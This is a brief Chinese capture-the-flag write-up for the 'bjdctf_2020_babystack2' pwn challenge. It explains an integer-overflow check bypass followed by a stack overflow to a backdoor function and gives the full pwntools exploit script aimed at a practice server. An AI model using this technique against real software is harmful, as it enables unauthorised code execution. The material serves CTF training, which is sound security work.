bjdctf_2020_babystack2
简单的,首先通过整数溢出绕过检查,然后栈溢出,存在后门函数,直接执行即可
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import *
p=process("./bjdctf_2020_babystack2") p=remote("node3.buuoj.cn",28526)
context.log_level = 'debug' context.arch = 'amd64'
backdoor = 0x000400726
p.recvuntil("name:") p.sendline(str(-1)) p.recvuntil("name?") payload = 'a'*(0x10+0x8)+p64(backdoor) p.sendline(payload) p.interactive()
|